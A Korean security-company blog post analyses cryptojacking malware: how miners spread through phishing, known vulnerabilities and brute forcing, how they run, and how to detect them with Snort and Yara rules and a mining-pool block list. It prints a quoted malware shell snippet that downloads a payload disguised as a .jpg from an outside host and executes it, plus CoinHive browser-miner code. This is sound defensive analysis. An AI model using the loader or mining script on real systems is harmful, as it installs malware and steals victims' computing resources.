보안정보

차세대 통합보안관리 기업
이글루시큐리티 보안정보입니다.

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루시큐리티 보안정보입니다.

블로그 상세
가상화폐 채굴형 악성코드 Miner 2018.02.05 11 27298

  

 

서비스사업본부 보안분석팀 김유진, 구자현

 

 

1. 개요

 

가상화폐에 대한 관심이 뜨거운 가운데, 최근 가상화폐 채굴(mining) 기능이 포함된 악성코드가 유포되는 사례가 다수 포착되고 있다. 이러한 공격들을 암호화폐(Cryptocurrency)와 납치(Hijacked)의 합성 단어인 ‘크립토재킹(Cryptojacking)’이라고 부르는데 공격자는 침투한 서버 및 클라이언트의 컴퓨팅 파워를 이용하여 채굴을 실행하고 이를 통해 금전적 이익을 얻는다. 이와 같은 악성 코드는 피싱 메일 및 악성 웹페이지를 통해 유포되고 있으며, 시스템 취약점 악용, 멀버타이징(Malvertising) 등 그 유포 경로가 다양화 되고 있다.

 

따라서 이번 호에서는 악성코드에 심어진 가상화폐 채굴 프로그램 ‘마이너(miner)’에 대해 알아보고 해당 악성코드에 어떻게 대응해야 하는가에 대해 알아보고자 한다.

 

 

 

[그림 1] 가상화폐 채굴

 

 

2. 마이닝(mining)

 

마이닝(mining) 프로그램은 피싱메일, 악성 웹사이트 접근, 취약점 공격, 그리고 무작위 대입 공격 등의 방법을 통해 시스템에 유포되고 있으며 침투 경로가 점차 다양해 지고 있다.  

 

시스템 취약점을 통한 유포

웹 사이트를 통한 유포

ŸEternalBlue/SambaCry
ŸIIS CVE-2017-7269
ŸStruts CVE-2017-5638
ŸDatabase/FTP Brute forcing
ŸMalvertising
Ÿ피싱
Ÿ악성메일
Ÿ정상프로그램 사칭

 

[표 1] 마이닝 프로그램 유포 경로

 

 

그렇다면 악성코드가 PC에 침투한 후에 어떻게 동작할까? 

아래 [그림 2]와 같이 악성 프로그램의 채굴 기능은 크게 두 가지 방식으로 실행된다. 첫째, 침투한 서버에서 직접 채굴을 실행하는 방법이 있고 둘째로, 웹서버의 웹페이지 변조를 통해 감염된 웹사이트를 방문하는 사용자의 브라우저에서 채굴을 실시하는 방법이 있다. 

 

 

[그림 2] 감염 및 마이닝 경로

 

 

3. 유포 시 시나리오

 

1) 사용자를 속이거나 시스템 침투를 통한 유포

 

먼저 공격자는 마이너(miner)가 실행되는 악성 코드를 이메일의 첨부파일 또는 시스템 취약점을 통해 침투한 후 실행 및 유포한다. 

 

 

[그림 3] 피싱을 통한 마이너 유포 사례(출처-보안뉴스)

 

 

 

[그림 4] 취약점을 통한 마이너 유포 사례(IIS CVE-2017-7269(출처-Exploitdb))

 

 

2) 시스템 침투 후 동작

 

서버 침투에 성공하면 C&C 서버로 부터 채굴 악성코드를 전송 받는다. 이 과정에서 공격자는 악성코드의 탐지를 피하기 위해 jpg , png 등의 이미지 파일 및 기타 확장자로 위장하는 코드를 함께 실행한다.

 

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

crontab -r

days=$(($(date +%s) / 60 / 60 / 24))

days2=$(expr $days + 983)

days=$(echo $days2|md5sum|cut -c 1-10)

daybefore=$(echo $[$days2-1]|md5sum|cut -c 1-10)

echo $days

echo $daybefore

Dominer()

{

curl -kL -o /tmp/${days}.jpg http://img1.imagehousing.com/0/car-498167.jpg

dd if=/tmp/${days}.jpg skip=2931 bs=1 of=/tmp/${days}

chmod +x /tmp/${days}

nohup /tmp/${days} &

sleep 10

rm -rf /tmp/${days}

rm -rf /tmp/${days}.jpg

rm -rf /tmp/${daybefore}

rm -rf /tmp/${daybefore}.jpg

}​

 

[그림 5] .jpg 파일로 위장된 마이너 코드 설치 (출처-IBM)

 

 

3) 마이너 실행

 

 

채굴형 악성코드 등장 초기에는 주로 비트코인(Bitcoin)을 대상으로 채굴을 시도했으나, 현재는 익명성이 강화된 모네로(Monero) 코인을 주요 채굴 대상으로 하고 있다. 서버에서 사용되는 채굴 코드는 대부분 오픈소스로 이용 가능한 cpuminer 프로그램 코드를 변형한 형태이며, 실행 옵션 또한 비슷하게 나타난다. 

 

[그림 6]의 마이너(miner)를 실행 시키는 코드를 확인해 보면 코인을 수령할 지갑 주소가 명시된 것을 볼 수 있으며, 채굴에 이용할 마이닝풀(mining Pool) 주소를 명시하는 것을 볼 수 있다. 마이닝풀은 해당 풀에 기여한 CPU 파워의 비율에 따라 채굴된 코인을 분배해 주는 서비스로 직접 채굴에 비해 안정적으로 수익을 올릴 수 있기 때문에 대부분의 채굴이 마이닝풀을 통해 이루어지게 된다.

 

  

 

[그림 6] 마이너 실행 코드 (출처-Welive security)

 

 

마이너(miner)는 리눅스, 윈도우, 안드로이드 등 다양한 운영체제에서 발견되고 있으며, 아래와 같이 쉘을 통해 직접 실행이 가능하다. 

 

 

 

[그림 7] 마이너 실행 화면

 

* 마이너 실행에 사용되는 일반적인 옵션

- a : 사용 알고리즘 (주로 Cryptonight 알고리즘이 사용된다.)

- o : 마이닝 풀(mining pool) 주소

- u : 채굴 대상 주소

- p : 비밀번호​

 

 

4) 마이너 실행 후 PC 현황

 

마이너(miner)가 실행되면 아래 [그림 4-8]과 같이 CPU 사용량이 100%까지 급증하는 것을 확인할 수 있다.

 

 

 

[그림 8] CPU 점유율 상승

 

 

마이너가 실행되는 동안 마이닝풀(mining pool)과 통신을 하기 위해 주로 사용되는 프로토콜은 “stratum+tcp://” 이며, [그림 9]과 같이 패킷에서 해당 내용을 확인할 수 있다.

 

  

 

[그림 9] Stratum 프로토콜 통신

 

 

5) 마이너 실행 후 전파

 

채굴형 악성코드의 경우 악성코드 전파를 위해 임의의 IP 주소로 데이터베이스/FTP 등의 서비스에 무작위 공격을 시도하는 사례가 다수 발견되었으며, 해당 공격에 사용되는 문자열 목록이 프로그램 내에 존재했다.

 

아래의 그림에서 임의의 FTP 서버에 문자열을 대입하여 인증을 시도하는 것을 볼 수 있으며, 인증이 성공할 경우 해당 서버의 파일 정보를 확인하는 것을 볼 수 있다.

 

 

 

[그림 10] FTP Brute Forcing을 통한 전파

 

 

6) 웹 서비스를 통한 전파

 

침투한 서버가 웹 서비스를 구동하고 있는 경우 해당 서버의 웹 스크립트 파일(htm, php, jsp 등)을 변조하여 임의의 경로로 리다이렉트 또는 자바스크립트 코드 삽입 등을 시도한다. 이를 통해 웹 페이지에 접근한 사용자의 컴퓨팅 파워를 이용하여 채굴을 실행한다.

 

따라서 아래 [그림 11]와 같이 웹 스크립트 파일의 존재 유무를 탐색하는 코드가 확인된다.

 

 

 

[그림 11] 웹 스크립트 파일 탐색

 

 

웹 채굴에 사용되는 스크립트는 주로 CoinHive에서 배포한 채굴용 스크립트가 사용된다. 해당 스크립트를 사용하기 위해 아래와 같은 API 코드가 이용되는 것을 확인할 수 있다. 

 

var miner = new CoinHive.User('YOUR_SITE_KEY', 'john-doe', {

    threads: 4,

    autoThreads: false,

    throttle: 0.8,

    forceASMJS: false

});

 

var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');

miner.start();​

 

[그림 12] CoinHive JavaScript miner

 

 

채굴용 스크립트가 구동되면 SSL을 통해 채굴을 위한 통신이 이루어진다. 

 

 

 

[그림 13] CoinHive 통신

 

 

4. 대응방안

 

1) 탐지 rule

 

채굴형 악성코드는 마이닝풀(mining pool)과 통신할 때 “stratum+tcp://” 라는 특수한 프로토콜을 사용한다. 아래 Snort Rule은 해당 프로토콜에서 사용하는 “subscribe”, “authorize”, “extranonce” 트랜젝션을 탐지하는 Rule이다.

 

 

번호

설정 내용

1

PUA-OTHER Bitcoin mining subscribe Stratum protocol client request attempt

alert tcp $HOME_NET 1024: -> $EXTERNAL_NET 1024: ( msg:"PUA-OTHER Bitcoin mining subscribe Stratum protocol client request attempt"; flow:to_server,established; content:"|7B 22|id|22 3A|"; content:"|22|method|22 3A 22|mining.subscribe|22|"; content:"|22|params|22 3A|",distance 1; metadata:ruleset community; reference:url,www.virustotal.com/en/file/f35b65743142090ecf031731cb0bd77b15055e36dcdaa7a4ab09c5b2add13d15/analysis/1479759162/; classtype:policy-violation; sid:40840; rev:1; )

2

PUA-OTHER Bitcoin mining authorize Stratum protocol client request attempt

alert tcp $HOME_NET 1024: -> $EXTERNAL_NET 1024: ( msg:"PUA-OTHER Bitcoin mining authorize Stratum protocol client request attempt"; flow:to_server,established; content:"|7B 22|id|22 3A|"; content:"|22|method|22 3A 22|mining.authorize|22|"; content:"|22|params|22 3A|",distance 1; metadata:ruleset community; reference:url,www.virustotal.com/en/file/f35b65743142090ecf031731cb0bd77b15055e36dcdaa7a4ab09c5b2add13d15/analysis/1479759162/; classtype:policy-violation; sid:40841; rev:1; )

3

PUA-OTHER Bitcoin mining extranonce Stratum protocol subscribe client request attempt

alert tcp $HOME_NET 1024: -> $EXTERNAL_NET 1024: ( msg:"PUA-OTHER Bitcoin mining extranonce Stratum protocol subscribe client request attempt"; flow:to_server,established; content:"|7B 22|id|22 3A|"; content:"|22|method|22 3A 22|mining.extranonce.subscribe|22|"; content:"|22|params|22 3A|",distance 1; metadata:ruleset community; reference:url,www.virustotal.com/en/file/f35b65743142090ecf031731cb0bd77b15055e36dcdaa7a4ab09c5b2add13d15/analysis/1479759162/; classtype:policy-violation; sid:40842; rev:1; )

 

[표 2] snort rule

 

 

아래는 “stratuom+tcp” 문자열이 포함된 바이너리 파일을 탐지하는 Yara Rule이다. 

 

 

번호

설정 내용

1

XMRIG_miner

rule XMRIG_miner

{

  meta:

  ref = "https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e"

  strings:

    $a1 = "stratum+tcp"

    condition:

    $a1 

}

 

[표 3] yara rule

 

 

2) 포트 번호를 이용한 탐지

 

추가적으로 초기에 등장한 채굴 기능이 있는 ZeroAccess Botnet의 경우 53번 포트를 통해 C&C 서버와 통신을 하는데 해당 포트는 DNS 프로토콜에 할당된 포트이지만 데이터 교환에 사용하므로 잘못된 형식을 가리키는 ‘Malformed Packet’이 다량 탐지되며, 이를 통해 감염을 의심해 볼 수 있을 것이다.

 

 

 

[그림 14] 53번(DNS) 포트를 통한 통신 - ZeroAccess botnet

 

 

3) 알려진 마이닝풀 리스트

 

대부분의 채굴 악성코드는 마이닝풀(mining pool)을 이용하여 채굴을 진행함으로, 알려진 마이닝 풀에 대한 접근을 필터링 함으로써 악성행위를 탐지할 수 있다. 아래는 채굴에 주로 이용되는 모네로(Monero)와 비트코인(Bitcoin)의 알려진 마이닝풀 리스트이다.

 

 

Bitcoin (BTC)

Monero (XMR)

mining.bitcoinaffiliatenetwork.com

supportXMR.com 

www.antpool.com

xmrpool.net 

pool.btcc.com

xmr.nanopool.org 

www.btczpool.com

mixpools.org 

www.f2pool.com

minergate.com

www.kmdpool.org

viaxmr.com 

www.zenpool.org

monero.hashvault.pro 

pool.btc.com

moriaxmr.com 

www.bw.com/poo

xmr.suprnova.cc 

www.kano.is

MoneroOcean.stream 

slushpool.com

alimabi.cn 

www.bcmonster.com

pooldd.com 

bitminter.com

monero.riefly.id 

btcdig.com

monerohash.com 

www.btcmp.com

monero.us.to 

eligius.st

usxmrpool.com 

ghash.io

xmrpool.de 

give-me-coins.com

poolto.be 

www.bravo-mining.com

mineXMR.com 

mmpool.org

xmr.prohash.net 

 

[표 4] 알려진 마이닝풀 주소

 

 

5. 참고자료

 

[1] http://www.boannews.com/media/view.asp?idx=65790 

[2] https://exchange.xforce.ibmcloud.com/collection/SambaCry-Leads-to-Crypto-Coin-miner-2ff7e6f552199c32b939681b1e78b7e3 

[3] https://www.exploit-db.com/

[4] https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

[5] https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/Cryptomining-malware-on-NAS-servers.pdf?la=en 

[6] http://www.ijcaonline.org/archives/volume145/number6/aswal-2016-ijca-910719.pdf 

 

 

 

 

이전글, 다음글 목록
다음글 사용자를 생각하는 보안 ‘Usable Security’
이전글 IoTroop 봇넷과 온라인에 노출 된 IoT 장치들

원하시는 계정으로 로그인 후 댓글을 남겨 주세요.

사용자 이미지
0/ 250 byte